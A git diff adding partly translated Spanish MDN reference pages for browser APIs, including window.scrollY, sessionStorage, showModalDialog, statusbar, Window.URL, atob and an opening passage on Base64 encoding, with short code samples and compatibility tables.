+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/window.scrollY" title="window.scrollX | Document Object Model (DOM) | MDN">window.scrollY</a></li>
+</ul>
diff --git a/files/es/web/api/window/scrolly/index.html b/files/es/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..81b8275746
--- /dev/null
+++ b/files/es/web/api/window/scrolly/index.html
@@ -0,0 +1,61 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+tags:
+  - API
+  - Propiedad
+  - Rerencia
+  - Scroll Vertical
+translation_of: Web/API/Window/scrollY
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Retorna el número de píxeles que han sido desplazados en el documento mediante el scroll vertical.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var y = window.scrollY;</pre>
+
+<ul>
+ <li>y es el número de píxeles que se han desplazado actualmente desde el extremo superior de la página.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">// Asegurate de bajar a la segunda página
+if (window.scrollY) {
+  window.scroll(0, 0);  // Restablece la posición de desplazamiento en la parte superior izquierda del documento
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Usa esta propiedad para verificar que al documento no se le ha hecho scroll, si estás usando funciones relativas de scroll como {{domxref("window.scrollBy")}}, {{domxref("window.scrollByLines")}}, o {{domxref("window.scrollByPages")}}.</p>
+
+<p>La propiedad <code>pageYOffset</code> es un alias para la propiedad <code>scrollY</code>:</p>
+
+<pre>window.pageYOffset == window.scrollY; // Siempre verdadero</pre>
+
+<p>Para compatibilidad entre navegadores, es recomendable usar window.pageYOffset en vez de window.scrollY. <strong>Adicionalmente</strong>, tener en cuenta que versiones más viejas de Internet Explorer (&lt;9) no soportan del todo la propiedad y debe ser solucionado usando propiedades no estandarizadas . Un ejemplo totalmente compatible entre navegadores:</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li>CSSOM View Module: <a href="http://dev.w3.org/csswg/cssom-view/#dom-window-scrolly">window.scrollY</a> (Editor's Draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/es/web/api/window/sessionstorage/index.html b/files/es/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..870cb2dbd8
--- /dev/null
+++ b/files/es/web/api/window/sessionstorage/index.html
@@ -0,0 +1,143 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+tags:
+  - Almacenaje
+  - Propiedad
+  - Referencia
+  - Sesion
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef()}}</p>
+
+<p>La propiedad <code>sessionStorage</code> permite acceder a un objeto {{domxref("Storage")}} asociado a la sesión actual. La propiedad sessionStorage es similar a <a href="/en-US/docs/Web/API/Window.localStorage"><code>localStorage</code></a>, la única diferencia es que la información almacenada en localStorage no posee tiempo de expiración, por el contrario la información almacenada en sessionStorage es eliminada al finalizar la sesion de la página. La sesión de la página perdura mientras el navegador se encuentra abierto, y se mantiene por sobre las recargas y reaperturas de la página. <strong>Abrir una página en una nueva pestaña o ventana iniciará una nueva sesión</strong>, lo que difiere en la forma en que trabajan las cookies de sesión<strong>.</strong></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">// Almacena la información en sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// Obtiene la información almacenada desde sessionStorage
+var data = sessionStorage.getItem('key');</pre>
+
+<h3 id="Valor">Valor </h3>
+
+<p>Un objeto de tipo {{domxref("Storage")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente código accede al objeto {{domxref("Storage")}} del la sesión actual del domino y le añade un elemento utilizando {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>El siguiente ejemplo graba de forma automática el contenido de un campo de texto, y si el navegador es actualizado accidentalmente, restaura el contenido del campo de texto para no perder lo escrito.</p>
+
+<pre class="brush: js">// Obtiene el campo de texto que vamos a moniterear
+var field = document.getElementById("field");
+
+// Verificamos si tenemos algún valor auto guardado
+// (esto solo ocurrirá si la página es recargada accidentalmente)
+if (sessionStorage.getItem("autosave")) {
+  // Restaura el contenido al campo de texto
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// Espera por cambios en el campo de texto
+field.addEventListener("change", function() {
+  // Almacena el resultado en el objeto de almacenamiento de sesión
+  sessionStorage.setItem("autosave", field.value);
+});</pre>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Por favor diríjase al artículo <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la API de Web Storage</a> para un ejemplo completo.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Todos los navegadores tienen distintos niveles de capacidad para localStorage y para sessionStorage. Aquí encontraras un <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">resumen detallado de todas las capacidades de almacenamiento para diversos navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>desde iOS 5.1, Safari Mobile almacena los datos de localStorage en un directorio de cache, el cual esta sujeto a limpezas ocacionales, por orden del sistema operativo, generalmente si el espacio es reducido.</p>
+</div>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la API de Web Storage</a></li>
+ <li><a href="/en-US/docs/Web/API/Window.localStorage">Window.localStorage</a></li>
+</ul>
diff --git a/files/es/web/api/window/showmodaldialog/index.html b/files/es/web/api/window/showmodaldialog/index.html
new file mode 100644
index 0000000000..1e0f24f2a3
--- /dev/null
+++ b/files/es/web/api/window/showmodaldialog/index.html
@@ -0,0 +1,95 @@
+---
+title: Window.showModalDialog()
+slug: Web/API/Window/showModalDialog
+translation_of: Web/API/Window/showModalDialog
+---
+<div>{{ Fx_minversion_header(3) }} {{ deprecated_header() }}{{APIRef}}</div>
+
+<p>El método <strong><code>Window.showModalDialog()</code></strong> crea y visualiza una caja de diálogo modal, conteniendo el documento HTML especificado.</p>
+
+<div class="note">
+<p><strong><em>Esta prestación va a desaparecer. Por favor ajuste sus sitios Web y aplicaciones.</em></strong></p>
+
+<p>El soporte ha sido eliminado en <a href="http://blog.chromium.org/2014/07/disabling-showmodaldialog.html">Chrome 37</a>. Pero se añadió temporalmente un <a href="http://www.chromium.org/administrators/policy-list-3#EnableDeprecatedWebPlatformFeatures">ajuste de Política Coporativa para rehabilitar showModalDialog</a>. Este método showModalDialog() fue eliminado definitivamente en Chrome 43.</p>
+
+<p>Mozilla ha anunciado que eliminará el soporte para este método ({{bug(981796)}}). Sin plazo específico, debería ser antes de Firefox 46. Esto quiere decir que la función estará fuera de uso sobre mediados de junio de 2016. Una revisión ESR podría soportarla aun por algunas meses más.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>valRetorno</var> = window.showModalDialog(<var>uri</var>[, <var>argumentos</var>][, <var>opciones</var>]);
+</pre>
+
+<p>donde</p>
+
+<ul>
+ <li><code>valRetorno</code> es un valor indicando la propiedad returnValue establecida por la ventana del documento especificado por la <code>uri</code>.</li>
+ <li><code>uri</code> is es la URI del documento a visualizar en la caja de diálogo.</li>
+ <li><code>argumentos</code> es un parámetro adicional, que contiene valores que deberían ser pasados a la caja de diálogo; estos son puestos a disposición en el la propiedad  <code><a href="/en-US/docs/DOM/window.dialogArguments">window.dialogArguments</a></code> del objeto <code><a href="/en-US/docs/DOM/window">window</a></code>.</li>
+ <li><code>opciones</code> es una cadena adicional que especifica ornamentaciones de ventana para la caja de diálogo, usando uno o más de los siguientes valores separados por punto y coma:</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Sintaxis</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>center: {on | off | yes | no | 1 | 0 }</code></td>
+   <td>Si el valor de este argumento es  <code>on</code>, <code>yes</code>, ó 1, la ventana de diálogo será centrada en el escritorio; en caso contrario será oculta. El valor por defecto es <code>yes</code>.</td>
+  </tr>
+  <tr>
+   <td><code>dialogheight: <em>height</em></code></td>
+   <td>Especifica la altura de la caja de diálogo; por defecto, el tamaño es especificado en pixels.</td>
+  </tr>
+  <tr>
+   <td><code>dialogleft: <em>left</em></code></td>
+   <td>Especifica la posición horizontal de la caja de diálogo respecto de la esquina superior izquierda del escritorio.</td>
+  </tr>
+  <tr>
+   <td><code>dialogwidth: <em>width</em></code></td>
+   <td>Especifica la anchura de la caja de diálogo; por defecto el tamaño es especificado en pixels.</td>
+  </tr>
+  <tr>
+   <td><code>dialogtop: <em>top</em></code></td>
+   <td>Especifica la posición vertical de la caja de diálogo, respcto de la esquina superior izquierda del escritorio.</td>
+  </tr>
+  <tr>
+   <td><code>resizable: {on | off | yes | no | 1 | 0 }</code></td>
+   <td>Si el valor de este argumentoes  <code>on</code>, <code>yes</code>, ó 1, la ventana de diálogo podrá ser redimensionada por el usuario; en caso controario su tamaño será fijo. El valor por defecto es <code>no</code>.</td>
+  </tr>
+  <tr>
+   <td><code>scroll: {on | off | yes | no | 1 | 0 }</code></td>
+   <td>Si el valor de este argumento es <code>on</code>, <code>yes</code>, ó 1, la ventana de diálogo tendrá barras de desplazamiento; en caso contrario su tamaño será fijo. El valor por defecto es <code>no</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{Note("Firefox no implementa los argumentos <code>dialogHide</code>, <code>edge</code>, <code>status</code>, ó <code>unadorned</code>.")}}</p>
+
+<h2 id="Compatibility" name="Compatibility">Compatibilidad con navegadores</h2>
+
+<p>Introducido por Microsoft Internet Explorer 4. Soporte añadido a Firefox en Firefox 3 (desaconsejado en Fx 28), y a Safari en Safari 5.1. Ver <a href="https://bugs.webkit.org/show_bug.cgi?id=151885">WebKit bug 151885</a> para posible futura eliminación de Safari.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p><a href="/samples/domref/showModalDialog.html">Probar <code>showModalDialog()</code></a>.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><code>showModalDialog()</code> está siendo estandarizado actualmente como parte de HTML5. El tercer argumento (para opciones adicionales) no está presente en la versión HTML5, y es (seguramente) ignorado por Safari and Chrome.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536759(VS.85).aspx">MSDN page for <code>showModalDialog</code></a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dialogs-implemented-using-separate-documents">Diálogos HTML5 implementados usando documentos separados</a></li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("dialog")}}, un sustituo para <code>window.showModalDialog()</code>.</li>
+ <li><a href="https://github.com/niutech/showModalDialog">showModalDialog Polyfill</a> usando un {{HTMLElement("dialog")}} y <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">generadores</a></li>
+</ul>
diff --git a/files/es/web/api/window/sidebar/index.html b/files/es/web/api/window/sidebar/index.html
new file mode 100644
index 0000000000..280b5dcce3
--- /dev/null
+++ b/files/es/web/api/window/sidebar/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.sidebar
+slug: Web/API/Window/sidebar
+tags:
+  - DOM
+  - NeedsTranslation
+  - Non-standard
+  - Property
+  - Reference
+  - TopicStub
+  - Window
+translation_of: Web/API/Window/sidebar
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Returns a sidebar object, which contains several methods for registering add-ons with the browser.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>The sidebar object returned has the following methods:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description (SeaMonkey)</th>
+   <th>Description (Firefox)</th>
+  </tr>
+  <tr>
+   <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel.</td>
+   <td rowspan="2">Obsolete since Firefox 23 (only present in SeaMonkey).<br>
+    End users can use the "load this bookmark in the sidebar" option instead. Also see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_Firefox_sidebar">Creating a Firefox sidebar.</a></td>
+  </tr>
+  <tr>
+   <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel, which is able to work in the background.</td>
+  </tr>
+  <tr>
+   <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td>
+   <td colspan="2">Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</td>
+  </tr>
+  <tr>
+   <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>Mozilla-specific. Not part of any standard.</p>
diff --git a/files/es/web/api/window/statusbar/index.html b/files/es/web/api/window/statusbar/index.html
new file mode 100644
index 0000000000..bd0b2eaa6c
--- /dev/null
+++ b/files/es/web/api/window/statusbar/index.html
@@ -0,0 +1,72 @@
+---
+title: Window.statusbar
+slug: Web/API/Window/statusbar
+translation_of: Web/API/Window/statusbar
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Retorna el objeto statusbar, la visibilidad se puede alternar en la ventana.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>objRef</var> = window.statusbar
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo HTML muestra una forma de utilizar la propiedad visible de los diversos objetos de "bar", y tambien el cambio de privilegios nesesarios para escribir en la propiedad visible para cada una de las ventanas existentes.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Various DOM Tests&lt;/title&gt;
+
+&lt;script&gt;
+// cambia el estado de la barra en la ventana existente
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.statusbar.visible=!window.statusbar.visible;
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Various DOM Tests&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Al cargar la pagina del ejemplo anterior se muestra el siguiente cuadro de dialogo:<img alt="" src="https://mdn.mozillademos.org/files/550/Modify_any_open_window_dialog.png" style="height: 262px; width: 607px;"></p>
+
+<p>Para alternar la visibilidad de las barras,  debe de firmar sus scripts o abilitar los privilegios apropiados, como en el ejemplo anterior. Tenga en cuenta que cambiar la visibilidad de manera dinamica de las barras de herramientas puede cambiar el tamaño de la ventana de forma dramatica y afectando de manera significativa el rendimiento de su pagina.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-window-statusbar', 'Window.statusbar')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-statusbar', 'Window.statusbar')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Ver tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Window.locationbar">window.locationbar</a>, <a href="/en-US/docs/Web/API/Window.menubar">window.menubar</a>, <a href="/en-US/docs/Web/API/Window.personalbar">window.personalbar</a>, <a href="/en-US/docs/Web/API/Window.scrollbars">window.scrollbars</a>, <a href="/en-US/docs/Web/API/Window.toolbar">window.toolbar</a></li>
+</ul>
diff --git a/files/es/web/api/window/url/index.html b/files/es/web/api/window/url/index.html
new file mode 100644
index 0000000000..7758a161b9
--- /dev/null
+++ b/files/es/web/api/window/url/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.URL
+slug: Web/API/Window/URL
+tags:
+  - API
+  - DOM
+  - Propiedad
+  - Referencia
+  - Referência DOM
+  - WebAPI
+translation_of: Web/API/URL
+---
+<p>{{ApiRef("Window")}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <strong><code>Window.URL</code></strong> devuelve un objeto que proporciona métodos estáticos usados para crear y gestionar objetos de URLs. Además puede ser llamado como un constructor para construir objetos {{domxref("URL")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Llamando a un método estático:</p>
+
+<pre class="syntaxbox"><code><var>img</var>.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(<var>blob</var>);</code></pre>
+
+<p>Construyendo un nuevo objeto:</p>
+
+<pre class="syntaxbox"><code>var <var>url</var> = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");</code></pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url', 'URL')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>8.0<sup>[2]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("19.0")}}</td>
+   <td>10.0</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup><br>
+    7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatGeckoMobile("14.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Desde Gecko 2 (Firefox 4) hasta Gecko 18 incluidos, Gecko devuelve un objeto con el tipo interno no estandar <code>nsIDOMMozURLProperty</code>. En la práctica, esto no hace ninguna diferencia.</p>
+
+<p>[2] Implementado bajo el nombre no estandar <code>webkitURL</code>.</p>
diff --git a/files/es/web/api/windowbase64/atob/index.html b/files/es/web/api/windowbase64/atob/index.html
new file mode 100644
index 0000000000..aa9eeead07
--- /dev/null
+++ b/files/es/web/api/windowbase64/atob/index.html
@@ -0,0 +1,111 @@
+---
+title: WindowBase64.atob()
+slug: Web/API/WindowBase64/atob
+translation_of: Web/API/WindowOrWorkerGlobalScope/atob
+---
+<p>{{APIRef}}</p>
+
+<p>La función <strong>WindowBase64.atob() </strong>descodifica una cadena de datos que ha sido codificada utilizando la codificación en base-64. Puedes utilizar el método {{domxref("window.btoa()")}} para codificar y transmitir datos que, de otro modo podrían generar problemas de comunicación. Luego de ser transmitidos se puede usar el método window.atob() para decodificar los datos de nuevo. Por ejemplo, puedes codificar, transmitir y decodificar los caracteres de control como valores ASCII 0 a 31.</p>
+
+<p>For use with Unicode or UTF-8 strings, see <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#The_.22Unicode_Problem.22">this note at Base64 encoding and decoding</a> and <a href="/en-US/docs/Web/API/window.btoa#Unicode_Strings">this note at <code>window.btoa()</code></a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var decodedData = window.atob(<em>encodedData</em>);</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var encodedData = window.btoa("Hello, world"); // encode a string
+var decodedData = window.atob(encodedData); // decode the string</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}[1][2]</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though <code><a href="/en-US/docs/DOM/window">window</a></code> is not the global object in components.</p>
+
+<p>[2] Starting with <a href="/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, this <code>atob()</code> method ignores all space characters in the argument to comply with the latest HTML5 spec. ({{ bug(711180) }})</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("window.btoa()")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/es/web/api/windowbase64/base64_codificando_y_decodificando/index.html b/files/es/web/api/windowbase64/base64_codificando_y_decodificando/index.html
new file mode 100644
index 0000000000..c8747777cd
--- /dev/null
+++ b/files/es/web/api/windowbase64/base64_codificando_y_decodificando/index.html
@@ -0,0 +1,345 @@
+---
+title: Base64 codificando y decodificando
+slug: Web/API/WindowBase64/Base64_codificando_y_decodificando
+translation_of: Glossary/Base64
+---
+<p><strong>Base64</strong> es un grupo de esquemas de <a href="https://es.wikipedia.org/wiki/Codificaci%C3%B3n_de_binario_a_texto">codificación de binario a texto</a> que representa los datos binarios mediante una cadena ASCII, traduciéndolos en una representación radix-64. El término <em>Base64</em> se origina de un <a href="https://es.wikipedia.org/wiki/Multipurpose_Internet_Mail_Extensions#Content-Transfer-Encoding">sistema de codificación de transmisión de contenido MIME</a> específico.</p>
+
+<p>Los esquemas de codificación Base64 son comúnmente usados cuando se necesita codificar datos binarios para que sean almacenados y transferidos sobre un medio diseñado para tratar con datos textuales. Esto es para asegurar que los datos se mantienen intactos y sin modificaciones durante la transmisión. Base64 es comúnmente usado en muchas aplicaciones, incluyendo la escritura de emails vía <a href="https://es.wikipedia.org/wiki/Multipurpose_Internet_Mail_Extensions">MIME</a> y el almacenamiento de datos complejos en <a href="/es/docs/XML">XML</a>.</p>
+
+<p>En JavaScript hay dos funciones para decodificar y codificar cadenas base64, respectivamente:</p>
+
+<ul>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+</ul>
+
+<p>La función <code>atob()</code> decodifica una cadena de datos que ha sido codificada usando la codificación en base 64. Por el contrario, la función <code>btoa()</code> crea una cadena ASCII codificada en base 64 a partir de una "cadena" de datos binarios.</p>
+
